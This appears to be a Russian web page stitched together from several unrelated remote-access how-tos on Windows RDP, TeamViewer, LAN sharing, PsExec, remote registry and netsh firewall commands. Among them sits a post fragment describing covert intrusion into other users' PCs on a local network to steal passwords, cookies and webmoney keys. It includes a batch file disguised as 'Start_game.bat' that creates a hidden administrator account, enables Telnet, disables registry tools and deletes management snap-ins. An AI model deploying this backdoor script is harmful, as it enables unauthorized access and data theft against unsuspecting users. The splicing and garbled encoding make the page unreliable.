Инструкция

Настройте возможность доступа к управляемому компьютеру. Щелкните правой кнопкой по значку «Мой компьютер» на рабочем столе аппарата, к которому будет производиться подключение. Выберите из меню пункт «Свойства» и нажмите на нем левой кнопкой. Выберите мышью закладку «Удаленные сеансы» и отметьте галочками пункты «Разрешить удаленный доступ к этому компьютеру» и «Разрешить отправку приглашения удаленному помощнику». Затем нажмите кнопку «Выбрать удаленных пользователей». Откроется окно выбора учетных записей для доступа к компьютеру.

Нажмите кнопку «Добавить» и кнопку «Дополнительно» в открывшемся окне. Щелкните по надписи «Поиск». Выделите имя нужной учетной записи левой кнопкой мыши и нажмите кнопку ОК, чтобы добавить ее в список разрешенных для подключения. Снова нажмите ОК для сохранения списка пользователей и еще раз, чтобы закрыть диалоговое окно прав на сеанс удаленного рабочего стола. Щелкните кнопку «Применить» и закройте окно свойств компьютера. Обратите внимание, что учетная запись должна быть защищена паролем. На этом действия с «ведомым» компьютером заканчиваются.

Выясните сетевой адрес компьютера, к которому будете подключаться. Это можно сделать при помощи -сервисов, например, можно открыть в браузере сайт http://2ip.ru/ - он сразу же выведет ip-адрес той машины, с которой зашли на сайт. Остается передать этот адрес человеку, который хочет связаться с вашим компьютером. Также сообщите имя пользователя и пароль для доступа к ПК.

Нажмите кнопку «Пуск» и выберите меню «Выполнить» на том компьютера, который будет подключаться к удаленному рабочему столу через интернет. Введите команду mstsc и нажмите клавишу Enter. Откроется окно с предложением указать адрес компьютера, к которому следует подключиться. Также эту утилиту можно вызвать из меню «Все программы», группа «Стандартные» - ярлык так и : подключение к удаленному рабочему столу. Наберите ip-адрес и нажмите кнопку «Подключить» или клавишу Enter. Если ПК, к которому вы подключаетесь, включен и доступен, вы увидите окно авторизации.

Введите имя пользователя и пароль, которые числятся как разрешенные для подключения и управления компьютером-приемником (см. шаг 2). После этого на экране появится изображение удаленного рабочего стола компьютера, к которому вы подключились через интернет.

Источники:

• как сделать удаленный рабочий стол

Чтобы получить удаленный доступ к другому компьютеру, необходимо использовать специальные программы. Они позволят значительно облегчить процесс управления другим ПК в сравнении со стандартной функцией Windows.

Вам понадобится

• - TeamViewer.

Инструкция

Скачайте и установите программу TeamViewer. Выберите ту версию этой утилиты, которая подходит для работы в среде вашей операционной системы. Установите эту программу на оба компьютера. Запустите ее сначала на том ПК, с которого вы будете подключаться . Система автоматически выдаст вам идентификационный код. Запишите его и оставьте на время первый ПК.

Запустите TeamViewer на втором компьютере. Откройте меню «Подключение» и выберите пункт «Пригласить партнера». В открывшемся окне введите номер, который вы предварительно записали, и установите пароль. Теперь откройте меню «Дополнительно» и перейдите к пункту «Опции».

Откройте меню «Безопасность». Найдите пункт «Постоянный пароль для доступа без подтверждения». Введите два раза пароль. Теперь вы сможете удаленно подключаться к этому компьютеру даже в том случае, если никто не подтвердит попытку удаленного доступа.

Теперь перейдите в меню «Удаленное управление». Установите флажок возле пункта «Скрыть обои на рабочей машине». В меню «Качество» выберите параметр «Оптимизировать скорость». Это позволит немного повысить производительность программы. Теперь в пункте «Управление доступом» выберите подходящий режим, например, «Полный доступ».

Привет всем, это моя первая статья на хабре, так что не судите строго. В этом посте я опишу как можно получить удаленный доступ к компьютеру пользователя в вашей локальной сети через командную строку, обходя все антивирусы и немного зная синтаксис командной строки Windows. Статья предназначена для использования только на Windows XP, но при желании можно переписать код под любую другую ОС семейства Windows. Итак, приступим. В целом, статья написана для пользователей начального уровня. Самая главная цель - это заполучить нужные данные (пароли, явки, дачи, доступ к почтовым ящикам, файлы ключей webmoney, куки и прочая важная перхоть) и уйти незаметно, не оставив следов проникновения. Итак, начнем, я нахожусь в локальной сети имеющей порядка 5000 пользователей, сеть со статикой или dhcp не имеет значения, мне розан ip адрес и я счастлив. В сети имеется тьма подсетей, роуты которых прописаны на серваке. MAC адрес компа прописан у админа сети, так как в моем случае, это было условие подключения к сетке, таким образом мой мак засветится в случае чего. Во избежание быть найденным, первым делом устанавливаем виртуальную машину (использовал VmWare 5.1), устанавливаем на нее XP, сканер портов (использовал SuperScan 3.00 Скачать можно ) и запускаем службу Telnet. Подключаем виртуальную машину к сети с помощью NAT и получаем таким образом совершенно другой mac-адрес машины смотрящей в сеть. Все гуд виртуалку поставили, идем дальше. Открываем обычный блокнот и пишем батник следующего содержания:

@Echo off
Net user Admin_Support lop /add >nul
Net localgroup net localgroup Ђ¤¬Ё­Ёбва в®ал Admin_support /add >nul
Net accounts /maxpwage:unlimited >nul sc config TlntSvr start= auto >nul
Sc start TlntSvr >nul
Reg add «HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList » /v Admin_support /t REG_DWORD /d 0 >null
Reg add »HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System» /v DisableRegistryTools /t Reg_dword /d 1 /f >nul Reg add «HKCU\SOFTWARE\POLICIES\Microsoft\MMC» /v RestrictPemitSnapins /t Reg_dword /d 1 /f >nul del %SestemRoot%\system32\compmgmt.msc >nul
del Start_game.bat

Теги: вирусы, взлом, безопасность, информационная безопасность

Как и другие специалисты, я часто сталкиваюсь с ситуацией, когда для помощи неопытному пользователю мне нужно иметь доступ к его компьютеру. Можно, конечно, двадцать минут кряду объяснять, где находится та или иная опция, но куда проще ткнуть мышью, используя удаленное управление. Благодаря этой возможности, я без особых проблем администрирую пару организаций, практически не появляясь там и являюсь техническим консультантом еще в нескольких.

Обязательно отметьте, как вы будете использовать TeamViewer. Для домашнего бесплатного использования нужно выбрать «личное/некоммерческое использование».

Затем нажмите на кнопку «Принять — завершить».

После установки программы, нам автоматически предложат настроить неконтролируемый доступ. Он используется для того, чтобы удаленно подключаться к компьютеру без подтверждения. Эта функция будет полезной, если в дальнейшем вы хотите легко получать доступ к своему компьютеру через Интернет с другой машины, используя учетную запись TeamViewer, которую нужно предварительно создать.

Если вы не нуждаетесь в этой опции, можете просто отказаться от ее настройки. При необходимости ее можно будет настроить позже из интерфейса TeamViewer. Для наших целей эта функция не нужна. Мы будем использовать безопасное контролируемое соединение.

После установки в правом нижнем углу экрана появится пиктограмма, свидетельствующая о том, что программа установлена и работает.

Двойной щелчок по ней приведет к появлению на рабочем столе окна программы.

В левой части рабочего стола находятся ваш ID и пароль, которые нужно передать человеку, которому вы хотите дать доступ к своему компьютеру. Если вы хотите дать доступ другому пользователю только один раз, после сеанса удаленной работы просто поменяйте пароль.

В правой части есть окошко «ID партнера». Сюда вбивается ID компьютера, к которому вы сами хотите подключиться. Если вбить ID и нажать кнопку «Подключиться к партнеру», программа запросит пароль для подключения к удаленному компьютеру, после чего вы сможете им управлять.

Большинство статей нашего сайта посвящено различным способам создания локальной сети. Но, как известно, «Все самое важное – в деталях», и одного только правильного подключения всех сетевых устройств недостаточно для беззаботного существования девайса на просторах домашнего «вайфая».

И в данной статье мы остановимся на том, как подключиться к компьютеру по локальной сети, а также коснемся вопроса, как зайти по сети на подключенный к другому компьютеру принтер.

Итак, чтобы настроить подключение к другому компьютеру через локальную сеть, потребуется, прежде всего, эту самую сеть создать. Сделать это можно как с помощью роутера (), так и путем жесткого .

Затем чтобы подключиться к компьютеру по ip адресу «связанные» между собой ПК должны «увидеть» друг друга. Для этого необходимо на каждом компьютере создать правильные настройки сетевой карты и открыть для общего доступа нужные файлы и папки.

Удаленный доступ к компьютеру по локальной сети: настраиваем подключение

1. Зайти на другой компьютер через ip можно только в том случае, если оба ПК находятся в одной и той же рабочей группе.

Для этого на ОС Windows 7 однократно щелкните правой кнопкой мыши по значку «Мой компьютер» (на «Рабочем столе» ПК или в меню «Пуск»)

Здесь левой кнопкой мыши кликните кнопку «Изменить» и в графе «Является членом рабочей группы» введите название вашей рабочей группы, после чего нажмите «ОК» во всех открытых окнах.

2. На следующем этапе следует настроить внутренний ip адрес компьютера, который будет использоваться другими ПК для подключения по локальной сети.

Для этого на ОС Windows перейдите в меню «Пуск», далее «Панель управления» -> «Сеть и Интернет» -> «Просмотр состояния сети и задач».

Здесь перейдите во вкладку «Изменение параметров адаптера», найдите ярлык «Подключение по локальной сети», однократно кликните по нему правой кнопкой мыши и выберите раздел меню «Свойства»

В окне «компоненты используются этим подключение» кликните по разделу «Протокол Интернета версии 4». Здесь:

Чтобы подключиться к другому компьютеру через роутер отметьте маркером «Получать IP-адрес автоматически» и «Получать адрес DNS сервера автоматически».

Чтобы зайти через сеть на другой компьютер при кабельном соединении ПК (без wifi) отметьте «Использовать следующий IP-адрес» и введите в соответствующих графах следующие данные:

Чтобы организовать доступ к компьютеру по локальной сети такие настройки нужно установить на всех подключенных ПК. При этом если вы вводите адрес компьютера вручную (статический IP) каждому ПК нужно присвоить уникальный внутренний IP-адрес из диапазона значений «192.169.1.ххх».

.

Как через cmd подключиться к другому компьютеру?

На самом деле командная строка поможет вам только пропинговать удаленный компьютер - т.е. с помощью специальной проверить наличие доступа к компьютеру по сети.

Для этого на ОС Windows зайдите в меню «Пуск» -> «Выполнить», в открывшемся системном окне введите команду «cmd» и нажмите клавишу «Enter».

Если при выполнении команды система выдаст ошибку «Превышен интервал ожидания…» или «Заданный узел недоступен», то доступа к проверяемому компьютеру в сети нет, и вам следует проверить корректность настроек сетевой карты обоих ПК.

Если же пинг проходит без ошибок, то вы сможете подключиться к компьютеру по ip адресу через «Сетевое окружение» на Windows XP и «Центр управления сетями и общим доступом» на Windows 7.

Как подключиться к принтеру по локальной сети?

Чтобы подключиться к принтеру на другом компьютере, прежде всего, необходимо предоставить к нему общий доступ по локальной сети.

Для этого на «обслуживающем» принтер компьютере с ОС Windows 7:

• - зайдите в меню «Пуск» -> «Панель управления» -> «Оборудование и звук» ->
• - найдите там нужный принтер и однократно кликните по нему правой кнопкой мыши;
• - в контекстном меню во вкладке «Доступ» отметьте маркером «Общий доступ к данному принтеру»;
• - нажмите «Ок» для сохранения новых настроек.

Теперь вы сможете найти принтер в локальной сети любого сетевого компьютера через «Панель управления» -> «Сетевое окружение» на Windows XP и «Центр управления сетями и общим доступом» на Windows 7.

Кроме того, зайти с одного компьютера на другой и найти принтер в локальной сети можно при помощи специальных программ Total Commander , Double Commander и т.д.

На удаленном компьютере (который подключается к принтеру по локальной сети):

Зайдите в меню «Пуск» -> «Панель управления» -> «Оборудование и звук» -> «Просмотр устройств и принтеров»;

Перейдите в меню «Установка принтера» и следуйте указаниям автоматического мастера настройки сетевого оборудования.

Техническая поддержка пользователей собственного программного продукта, администрирование и контроль корпоративной сети - всё это требует удалённого управления компьютером клиента. И поле программных продуктов для удалённого доступа не пустует: средства предоставляются как самой операционной системой Windows 7, так и многочисленными программами сторонних разработчиков. Встроенные инструменты хороши своей доступностью, сторонние - интуитивно простым интерфейсом, «заточенным» под простых пользователей. Разобрав принципы работы, плюсы и минусы каждого способа, вы будете во всеоружии, а сеть и пользователи - под контролем.

Настройка удалённого рабочего стола Windows 7

Удалённый рабочий стол доступен в Windows 7 редакции Premium и выше. Он понадобится, если у вас есть необходимость работать с ним на компьютерах, где установлена ОС Windows 7 Home Edition (самая дешёвая), обеспечить поддержку нескольких удалённых рабочих столов - чтобы подключиться одновременно к нескольким компьютерам, - или изменить адрес порта, используемый службой RDP. Для этого понадобятся нетривиальные настройки, которые можно внести в систему при помощи редактора системного реестра или программ сторонних производителей. Но лучше потратить немного своего времени, чем большую сумму денег на покупку новой операционной системы.

Порт для удалённого рабочего стола

Служба RDP, функциями которой обеспечивается работоспособность удалённого рабочего стола, стандартно использует порт №3389. Вероятность хакерских атак по этому порту очень высока, поэтому для повышения уровня сетевой безопасности номер порта можно изменить. Так как настроек в «Панели управления» для этого нет - придётся воспользоваться редактором системного реестра.

1. Из командной строки запустите редактор реестра с правами системного администратора.

   Запуск редактора реестра для изменения адреса порта RDP

2. В окне редактора перейдите по адресу HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\PortNumber. Список переменных ветви реестра будет отображаться в правой части окна.

   Необходимая переменная спрятана глубоко в недрах системного реестра

3. Из контекстного меню выберите «Изменить» и введите новый адрес порта, предварительно убедившись в том, что режим ввода значений - десятичный.

   Переключите систему исчисления в десятичную и введите новое значения адреса порта

4. Теперь, чтобы подключиться к компьютеру, нужно будет вводить не его имя в сети, а адрес с номером порта, например, 175.243.11.12:3421.

Изменение адреса порта со стандартного 3389 на пользовательский не позволит работать службе удалённого помощника на компьютерах под управлением Windows XP. Примите это во внимание, если таковые есть в вашей сети.

Удалённый рабочий стол в Windows 7 домашней расширенной с поддержкой нескольких удалённых рабочих столов

Чтобы простимулировать пользователей потратить больше денег, компания Microsoft серьёзно ограничила возможности службы удалённого рабочего стола в зависимости от версии ОС. К примеру, в «Домашней расширенной» и ниже возможность подключиться удалённо отсутствует вообще, а в любых других количество сеансов ограничено одним, то есть подключиться удалённо одновременно к двум или более компьютерам вы не сможете. Производитель считает, что для этого вам стоит приобрести серверную версию системы специальной редакции (Terminal Edition).

К счастью, неравнодушные энтузиасты поработали над разрешением этой непростой проблемы. Результатом их стараний является программный пакет RDP Wrapper Library. Будучи установленным, он внедряется как посредник между службой удалённых рабочих столов (RDP) и менеджером служб, после чего обманывает их, эмулируя присутствие в сети Windows Server Terminal Edition и включая службу RDP на компьютерах с Windows 7 «Домашняя».

Программа доступна для загрузки со страницы автора и является совершенно бесплатной. После скачивания и запуска инсталлятора все настройки производятся в автоматическом режиме, включая внесение изменений в правила брандмауэра.

RDP Wrapper Library - установка проходит в автоматическом режиме

Идущая в комплекте утилита RDPConf.exe позволит «на лету» включать или отключать возможность удалённого доступа, менять количество одновременных сеансов доступа и номер порта доступа к службе RDP.

При помощи Rdpwrapper можно настроить параметры удаленного доступа

Как разрешить или запретить удалённый доступ

Все опции для разрешения или запрета удалённого доступа к компьютеру находятся в разделе «Свойства компьютера» панели управления. Разрешить или запретить удалённое управление можно буквально в несколько шагов. Не забывайте, что для внесения этих изменений вы должный войти в систему из учётной записи с правами администратора.

1. Сочетанием клавиш Win+Pause вызовите на экран окно свойств системы.

   Клавиши Win+Pause помогут включить «Свойства системы»

2. В левом столбце дополнительных действий перейдите по ссылке «Настройка удалённого доступа».
3. В открывшемся диалоговом окне доступны следующие настройки управления:
4. Следует отметить, что для возможности удалённого управления учётная запись пользователя, открывающего такой сеанс, должна иметь права администратора. Чтобы предоставить возможность удалённого управления обычному пользователю, следует добавить его имя в список разрешений, перейти к которому можно при помощи кнопки «Выбрать пользователей».

   Если пользователь, которому нужно предоставить удаленный доступ не имеет прав администратора, добавить его можно в этом диалоговом окне

Видео: как разрешить удалённый доступ к компьютеру

Подключение к удалённому рабочему столу

Подключение к удалённому рабочему столу реализуется очень просто. Естественно, перед этим нужно включить все необходимые разрешения на клиентской машине и сформировать на ней список пользователей, которым будет разрешено удалённое управление.

1. Вызовите стандартный диалог командной строки и запустите с его помощью утилиту mstsc.exe.

   Вызов программы-клиента удаленного рабочего стола

2. На вкладке «Общие» введите в верхней графе диалогового окна имя компьютера для подключения, а в нижней - имя пользователя (если необходимо имя, отличающееся от того, под которым входили в систему). Не забывайте, что учётная запись пользователя должна обладать правами администратора.

   Ввод именя компьютера в сети для удаленного управления

3. В закладке «Взаимодействие» выберите планируемую скорость соединения исходя из возможностей вашей сети. Если затрудняетесь в выборе настроек, оставьте автоматические. Система проведёт тестирование скорости канала и выберет оптимальные значения.

   Выберите скорость канала, исходя из возможностей вашей сети

4. Если всё проделано правильно, а на клиентской машине разрешён удалённый доступ, вы увидите окно ввода имени пользователя и пароля. Вводите логин и пароль клиентской машины.
5. После нажатия кнопки «Подключить» появится окно с рабочим столом удалённого ПК. Его можно раскрыть в полный экран и создать полную иллюзию работы на клиентской машине.

Избегайте работы в видеорежимах с высоким разрешением: это создаст большую нагрузку на сеть, а интерфейс удалённого ПК будет отображаться рывками. Идеальный вариант - разрешение 1280х1024 точек и глубина цвета в 16 бит.

Что делать, если не работает удалённый рабочий стол

Проблемы с подключением к удалённому компьютеру могут быть вызваны множеством причин. Среди наиболее распространённых следует отметить следующие:

• на клиентской машине в настройках не включены разрешения на доступ к удалённому рабочему столу и удалённому помощнику;

  Убедитесь, что в настройках разрешен удаленный доступ к ПК

• учётная запись, при помощи которой вы пробуете осуществить удалённый доступ, не обладает правами администратора;

  Убедитесь, что у вашей учетной записи есть права администратора

• ваш компьютер и компьютер-клиент не входят в одну рабочую группу или домен в локальной сети;

  Ведомый и ведущий компьютер должны быть членами одной рабочей группы

• маршрутизатор локальной сети, используемой обоими компьютерами, блокирует порт 3389, через который ведут обмен данными службы удалённого управления Windows 7;

  Включение межсетевого экрана в роутере без дополнительной настройки блокирует большинство портов

• исходящие запросы служб удалённого рабочего стола блокируются антивирусным пакетом.

  Служба удаленного рабочего стола может находиться в «черном списке» антивирусного пакета

Удалённое приложение remoteapp отключено

Сообщение об отключении удалённого доступа частенько ждёт пользователя при попытке подключиться к нему, также появляется диалоговое окно, которое может поставить неопытного пользователя в тупик.

Ошибка службы лицензирования не позволит запустить сеанс удаленного рабочего стола

Между тем всё очень просто: прав пользователя, который пытается «поднять» сеанс удалённого рабочего стола, не хватает для того, чтобы изменить раздел системного реестра, отвечающий за лицензирование. Ошибка исправляется в два этапа.

Почему тормозит удалённый рабочий стол

Бесперебойная работа сеанса удалённого доступа к рабочему столу требует высокоскоростного канала, львиную долю которого съедает передача самого изображения удалённого рабочего стола. В зависимости от рабочего разрешения на клиентской машине траффик может быть таким плотным, что «положит на лопатки» среднеофисную 100-мегабитную локальную сеть. А ведь в сети, помимо двух общающихся ПК, есть ещё клиенты. Чтобы не допустить коллапса сети, программа удалённого доступа начинает снижать количество передаваемых фреймов (кадров) в секунду.

Если при 60 кадрах в секунду вы наблюдаете гладкую плавную картинку, то уже при 30 интерфейс будет отображаться с заметными рывками. Дальнейшее снижение скорости обновления экрана сделает работу невыносимой: вы даже не сможете точно позиционировать курсор мыши на элементах интерфейса. Чтобы этого не происходило, следует оптимизировать как сетевые подключения ведомого и ведущего компьютеров, так и настройки экрана компьютера-клиента.

Удалённый доступ к компонентам Windows 7

Помимо управления удалённым рабочим столом, эмулируя работу клавиатуры и мыши клиентского компьютера, средства удалённого доступа ОС Windows 7 позволяют также удалённо запускать программы и системные команды из интерфейса командной строки, управлять системным реестром и сетевым экраном (брандмауэром), а также перезапускать или выключать ведомый ПК. Это требует меньше сетевых и системных ресурсов, чем управление удалённым рабочим столом, и может производиться незаметно для работающего за компьютером пользователя.

Удалённая командная строка

Для нужд системных администраторов компания Microsoft разработала специальную сервисную утилиту. Взаимодействуя со службами удалённого доступа операционной системы, она позволяет получить доступ к интерфейсу командной строки любого компьютера в локальной сети, запускать на нём программы и даже удалённо инсталлировать программы перед их запуском. Утилита называется PsExec и доступна к свободной загрузке с официального веб-сайта Microsoft в составе пакета PSTools.

Скачайте утилиту с сервера, запустите на компьютере, с которого будут осуществляться управление, исполняемый файл установщика и, согласившись с текстом лицензионного соглашения, проведите установку.

Установите утилиту PSExec

Теперь вы можете вызывать утилиту из командной строки и использовать весь спектр её широких возможностей.

Рассмотрим поподробнее синтаксис команды и дополнительные параметры её запуска: psexec [\\компьютер[,компьютер2[,…] | @файл][-u пользователь [-p пароль]][-n s][-l][-s|-e][-x][-i [сеанс]][-c [-f|-v]][-w каталог][-d][-<приоритет>][-a n,n,… ] программа [аргументы].

Таблица: параметры запуска команды psexec

Параметр	Описание
компьютер	Указывает программе PsExec, что нужно запустить приложение на заданном компьютере или компьютерах. Имя компьютера не указано - программа PsExec запустит приложение в локальной системе. Если же вместо имени компьютера задан символ «звёздочка» (\\*), то программа PsExec запустит приложение на всех компьютерах текущего домена.
@файл	Указывает программе PsExec, что нужно запустить приложение на всех компьютерах, перечисленных в заданном текстовом файле.
-a	Процессоры, на которых можно запустить приложение, отделяются запятыми, при этом процессоры нумеруются начиная с 1. Например, чтобы запустить приложение на процессорах втором и четвёртом, введите «-a 2,4»
-c	Указанная программа копируется в удалённую систему для выполнения. Если этот параметр не задан, то приложение должно находиться в системной папке удалённой системы.
-d	Указывает, что не нужно ждать завершения приложения. Этот параметр следует использовать только при запуске неинтерактивных приложений.
-e	Указанный профиль учётной записи не загружается.
-f	Указанная программа копируется в удалённую систему, даже если такой файл в удалённой системе уже есть.
-i	Запускаемая программа получает доступ к рабочему столу указанного сеанса в удалённой системе. Если сеанс не задан, то процесс выполняется в консольном сеансе.
-l	При запуске процесса пользователю предоставляются ограниченные права (права группы администраторов отменяются, и пользователю предоставляются только права, назначенные группе «пользователи»). В ОС Windows Vista процесс запускается с низким уровнем благонадёжности.
-n	Позволяет задать задержку подключения к удалённым компьютерам (в секундах).
-p	Позволяет указать необязательный пароль для имени пользователя. Если этот параметр опущен, то будет выдан запрос на ввод пароля, при этом пароль не будет отображаться на экране.
-s	Удалённый процесс запускается из системной учётной записи.
-u	Позволяет указать необязательное имя пользователя для входа в удалённую систему.
-v	Указанный файл копируется в удалённую систему вместо уже имеющегося только при условии, что номер его версии выше или он более новый.
-w	Позволяет указать для процесса рабочий каталог (путь внутри удалённой системы).
-x	Отображает интерфейс пользователя на рабочем столе Winlogon (только в локальной системе).
-приоритет (приоритет)	Позволяет задавать для процесса различные приоритеты: -low (низкий); -belownormal (ниже среднего); -abovenormal (выше среднего); -high (высокий); -realtime (реального времени).
программа	Имя запускаемой программы.
аргументы	Передаваемые аргументы (обратите внимание, что пути файлов должны указываться как локальные пути в целевой системе).

Примеры работы утилиты PSEXEC

Порядок работы с утилитой PsExec следующий:

1. Запустите командную строку другого компьютера с помощью команды psexec \\<сетевое имя компьютера> cmd.exe.
2. Откройте любую программу на удалённом компьютере. Если программа отсутствует на ведомом ПК, она будет скопирована с машины администратора. Для этого введите psexec \\<сетевое имя компьютера> -c test.exe, где test.exe - программа, которую надо выполнить удалённо.
3. Если программа, которую нужно удалённо выполнить, не находится в системной папке, укажите её полный путь при запуске команды psexec \\<сетевое имя компьютера> -c c:\program files\external_test.exe

Видео: PSTools - набор консольных утилит системного администратора

Удалённый реестр

Для того чтобы иметь возможность удалённо редактировать реестр, нужно вначале активировать на клиентском компьютере соответствующие службы. Сделать это несложно, если учётная запись обладает правами администратора. Для этого из окна командной строки запустите оснастку диспетчера служб и в главном окне выберите из списка службу «Удалённый реестр». Нажмите кнопку «Пуск» на верхней панели управления.

Служба «Удалённый реестр» должна быть запущена как на клиентских ПК, так и на компьютере администратора.

Теперь вы можете подключиться к реестру компьютера в вашей локальной сети удалённо.

Ветвь реестра удалённого ПК отобразится в окне редактора реестра и вы сможете редактировать его так же просто, как и свой локальный реестр.

Удалённое управление брандмауэром

К сожалению, удобного графического инструмента для удалённого управления брандмауэром не существует. Поэтому все манипуляции придётся выполнять при помощи командной строки. Вначале нужно подключиться к удалённому ПК при помощи службы Telnet. Если клиент Telnet не инсталлирован, его нужно добавить через «Установку/удаление компонентов Windows».

Теперь нужно установить через протокол telnet сеанс связи с удалённым компьютером.

Как только сеанс связи будет установлен, вы можете дистанционно управлять брандмауэром удалённого компьютера при помощи команды netsh. Вам будут доступны следующие команды:

запрос правил брандмауэра. Выяснить конфигурацию Windows Firewall на удалённом ПК можно с помощью команды netsh advfirewall firewall show rule name=all;

включение или выключение брандмауэра командами «netsh advfirewall set allprofiles state on» и «netsh advfirewall set allprofiles state off»;

возвращение к настройкам по умолчанию командой netsh advfirewall reset;

открытие порта - пожалуй, самая распространённая задача, которую нужно будет выполнить. К примеру, открыть порт 2117 для работы торрент-клиента можно так: netsh advfirewall firewall add rule name=»Utorrent rule» dir=in action=allow protocol=TCP localport=1433;

разрешение входящих и исходящих запросов произвольной программе при помощи netsh advfirewall firewall add rule name=»Allow Miner» dir=in action=allow program=»C:\Bitcoin\miner.exe»;

разрешение удалённого управления при помощи консоли Windows: netsh advfirewall firewall set rule group= «remote administration» new enable=yes.

Выполнив необходимые настройки, не забудьте закрыть сеанс Telnet командой quit.

Удалённая перезагрузка

Стандартная команда ОС shutdown позволяет выключить или перезагрузить любой компьютер локальной сети, если на нём настроены разрешения для работы удалённого помощника и удалённого рабочего стола. Из окна командной строки выполните команду в формате shutdown / /m \\имя_компьютера /c «комментарий» и нажмите Enter.

Таблица: параметры команды shutdown

/s	Завершение сеанса работы удалённого ПК.
\\Имя_компьютера	Имя или сетевой адрес удалённого ПК.